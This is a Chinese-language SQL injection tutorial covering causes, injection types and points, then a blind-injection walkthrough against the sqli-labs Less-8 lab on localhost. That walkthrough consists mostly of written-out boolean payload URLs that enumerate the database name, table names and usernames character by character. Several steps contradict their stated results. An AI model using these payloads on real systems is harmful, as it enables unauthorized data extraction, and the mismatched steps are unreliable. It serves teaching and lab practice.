概述
通過網(wǎng)頁將 SQL 命令注入到 SQL 語句中的技術(shù)。攻擊者可以繞過認(rèn)證,訪問、修改和刪除數(shù)據(jù)庫中的數(shù)據(jù)。在某些情況下,SQL 注入甚至可被用于執(zhí)行操作系統(tǒng)級的命令,攻擊者可能對防火墻后的網(wǎng)絡(luò)帶來破壞性更大的攻擊。
SQL注入是從正常的WWW端口通過對頁面請求訪問,而且表面看起來跟一般的Web頁面訪問沒什么區(qū)別,所以目前市面的防火墻很少會(huì)對SQL注入發(fā)出警報(bào),如果管理員沒查看IIS日志的習(xí)慣,可能被入侵很長時(shí)間都不會(huì)發(fā)覺。
SQL注入的手法相當(dāng)靈活,可以根據(jù)具體情況進(jìn)行分析,構(gòu)造巧妙的SQL語句,從而獲取想要的數(shù)據(jù)。其原理就是從客戶端提交特殊的代碼,從而收集程序及服務(wù)器的信息,從而獲取想到得到的資料。

網(wǎng)傳對交警系統(tǒng)SQL 注入的案例,攝像頭捕獲車牌后,經(jīng)過ORC轉(zhuǎn)換成文字,插入數(shù)據(jù)庫時(shí)SQL注入。
成因
數(shù)據(jù)與代碼未嚴(yán)格分離,
用戶提交的參數(shù)數(shù)據(jù)未做充分檢查過濾即被代入到SQL命令中,改變了原有SQL命令的語義,且成功被數(shù)據(jù)庫執(zhí)行。
類型
可顯注入:攻擊者可以直接在當(dāng)前界面內(nèi)容中獲取想要獲得的內(nèi)容。
報(bào)錯(cuò)注入:數(shù)據(jù)庫查詢返回結(jié)果并沒有在頁面中顯示,但是應(yīng)用程序?qū)?shù)據(jù)庫報(bào)錯(cuò)信息打印到了頁面中,所以攻擊者可以構(gòu)造數(shù)據(jù)庫報(bào)錯(cuò)語句,從報(bào)錯(cuò)信息中獲取想要獲得的內(nèi)容。
盲注:數(shù)據(jù)庫查詢結(jié)果無法從直觀頁面中獲取,攻擊者通過使用數(shù)據(jù)庫邏輯或使數(shù)據(jù)庫庫執(zhí)行延時(shí)等方法獲取想要獲得的內(nèi)容。
過程

常見注入點(diǎn):應(yīng)用程序和數(shù)據(jù)交互的地方
Authentication(認(rèn)證頁面)
Search Fields (搜索頁面)
Post Fields ? ? (Post請求)
Get Fields ? ? ?(Get請求)
HTTP Header(HTTP頭部)
滲透中的作用
繞過登錄驗(yàn)證:使用萬能密碼登錄網(wǎng)站后臺(tái)。
獲取敏感數(shù)據(jù):獲取網(wǎng)站管理員賬號,密碼等。
文件系統(tǒng)操作:列目錄,讀取,寫入文件等。
注冊表操作:讀取,寫入,刪除注冊表等。
執(zhí)行系統(tǒng)命令:遠(yuǎn)程執(zhí)行命令。
盲注示例
http://localhost:81/sqli/Less-8/?id=1打開網(wǎng)址
這時(shí)會(huì)向數(shù)據(jù)庫送入一條查詢:SELECT * from table_name WHERE id=1
由上圖可以看出,其結(jié)果就是得到一個(gè)以黃顏色顯示的"You are in..........."的Web頁面。
當(dāng)攻擊者使用嵌入(')的查詢,即:http://localhost:81/sqli/Less-8/?id=1'
由上圖可以看出,該黃顏色文本消失了,也沒有得到任何錯(cuò)誤信息,使用其他攻擊方式的情況與此相同。
那么攻擊者只好通過盲注來進(jìn)行驗(yàn)證了,該注入查詢返回的一定是TRUE或者FALSE。
http://localhost:81/sqli/Less-8/id=1' AND 1=1 --+
對應(yīng)的后端查詢?yōu)椋篠ELECT * from table_name WHERE id=1' AND 1=1
數(shù)據(jù)庫會(huì)對給定的情況1=1進(jìn)行檢查,如果查詢有效,它就會(huì)返回TRUE。由上圖可以看出,我們又得到了黃顏色顯示的"You are in...........",這意味著該查詢是有效的。
接著下一條查詢,http://localhost:81/sqli/Less-8/?id=1' AND 1=0 --+
對應(yīng)的后端查詢?yōu)椋篠ELECT * from table_name WHERE id=1' AND 1=0
同樣的,數(shù)據(jù)庫會(huì)對給定的情況1=0進(jìn)行檢查,顯然該查詢無效的,因此返回FALSE。由上圖可以看出,該黃顏色文本右消失了。
以上即可說明該數(shù)據(jù)庫是可被盲注的,由此我們就可以獲取數(shù)據(jù)庫信息了。
數(shù)字庫中字符串長度
下面的查詢中將會(huì)求數(shù)據(jù)庫中的字符串長度。例如,數(shù)據(jù)庫名為IGNITE,它包含了6個(gè)字母,那么該數(shù)據(jù)庫字符串IGNITE的長度就等于6。
與此類似的,我們使用以下注入查詢來檢查當(dāng)前數(shù)據(jù)庫名的長度是否等于1,通過是否顯示文本"You are in..........."即可判斷返回的是TRUE還是FALSE。
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1 --+
由上圖可以看出,返回的是FALSE,這意味著當(dāng)前數(shù)據(jù)庫名的長度不等于1。
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 --+
由上圖可以看出,當(dāng)前數(shù)據(jù)庫名的長度不等于2。
...
http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 --+
由上圖可以看出,當(dāng)檢查到8時(shí),文本"You are in..........."又出現(xiàn)了,這意味著當(dāng)前數(shù)據(jù)庫名的長度為8。
眾所周知,計(jì)算機(jī)無法理解人類的語言,它只能理解二進(jìn)制語言,因此,我們要使用ASCII碼。ASCII碼將字符集中的每一個(gè)符號都對應(yīng)于一個(gè)整數(shù),比如字母、數(shù)字、標(biāo)點(diǎn)符號、特殊字符和操作符。
1 = I = 73
2 = G = 71
3 = N = 78
4 = I = 73
5 = T = 84
6 = E = 69
接下來使用ASCII碼枚舉出這8個(gè)字符。
下一條查詢使用關(guān)鍵字ascii substr檢查當(dāng)前數(shù)據(jù)庫名中的第一個(gè)字符對應(yīng)的ASCII碼是否大于100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 --+
由上圖可以看出,第一個(gè)字符的ASCII碼確實(shí)大于100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 --+
由上圖可以看出,第一個(gè)字符的ASCII碼小于120。這意味著第個(gè)字符的ASCII碼在100和120之間。
接下來逐個(gè)檢查。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 --+
由上圖可以看出,第一個(gè)字符的ASCII碼不等于101。
...
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 --+
由上圖可以看出,第一個(gè)字符的ASCII碼不等于114。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 --+
由上圖可以看出,返回的是TRUE,意味著第一個(gè)字符的ASCII碼等于115,即's'(小寫)。
接下來就是第二個(gè)字符,重復(fù)以上步驟。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 --+
...
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) = 101 --+
由上圖可以看出,返回的是TRUE,意味著第二個(gè)字符的ASCII碼等于101,即'e'(小寫)。
同理即可得到全部的8個(gè)字符,具體如下:
1 = s = 115
2 = e = 101
3 = c = 99
4 = u = 117
5 = r = 114
6 = i = 105
7 = t = 116
8 = y = 121
表中字符串長度
我們還得使用同樣的技術(shù)來獲取數(shù)據(jù)庫中的表的信息。以下查詢會(huì)檢查第一個(gè)表名的長度是否大于5。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 --+
由上圖可以看出,第一個(gè)表名的長度確實(shí)大于5。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 --+
由上圖可以看出,第一個(gè)表名的長度不大于6。其實(shí)這已經(jīng)意味著第一個(gè)表名的長度等于6了,不過為了演示,還是執(zhí)行以下查詢:
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+
由上圖可以看出,第一個(gè)表名的長度確實(shí)等于6。
類似的,我用同樣的技術(shù)測試了第二個(gè)和第三個(gè)表名的長度,改變一下上面所用查詢中的表的編號即可。
再來演示一下如何測試第四個(gè)表名的長度。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 6 --+
由上圖可以看出,第四個(gè)表名的長度等于5。
然后就是枚舉表名的具體字符,所用方法和前面的相同,這里以第四個(gè)表名為例。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) > 115 --+
由上圖可以看出,該表名第一個(gè)字符的ASCII碼大于115。
接下來測試表名第一個(gè)字符的ASCII碼是否大于120。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) > 120 --+
由上圖可以看出,該表名第一個(gè)字符的ASCII碼小于120。結(jié)合上面可知,該表名第一個(gè)字符的ASCII碼位于115到120之間,接著逐個(gè)檢測。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 116 --+
由上圖可以看出,該表名第一個(gè)字符的ASCII碼不等于116。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))) = 117 --+
由上圖可以看出,該表名第一個(gè)字符的ASCII碼等于117。這意味著第四個(gè)表名的第一個(gè)字符為'u'(小寫)。
同理即可得到第四個(gè)表名的全部字符,如下:
1 = u = 117
2 = s = 115
3 = e = 101
4 = r = 114
5 = s = 115
枚舉用戶名
接下來我們使用同樣的技術(shù)測試一下表users中用戶名的長度。
http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 --+
由上圖可以看出,用戶名的長度等于5。
然后就是枚舉用戶名的具體字符,還是之前的技術(shù)。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 100 --+
由上圖可以看出,該用戶名第一個(gè)字符的ASCII碼小于100。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 50 --+
由上圖可以看出,該用戶名第一個(gè)字符的ASCII碼大于50。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 60 --+
由上圖可以看出,該用戶名第一個(gè)字符的ASCII碼大于60。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) > 70 --+
由上圖可以看出,該用戶名第一個(gè)字符的ASCII碼不大于70。結(jié)合上面可知,該用戶名第一個(gè)字符的ASCII碼位于60到70之間,接著逐個(gè)檢測。
http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1),1,1))) = 68 --+
由上圖可以看出,該用戶名第一個(gè)字符的ASCII碼等于68。這意味著第一個(gè)字符為'D'(大寫)。
同理即可得到該用戶名的全部字符,如下:
1 = D = 68
2 = u = 117
3 = m = 109
4 = b ?= 98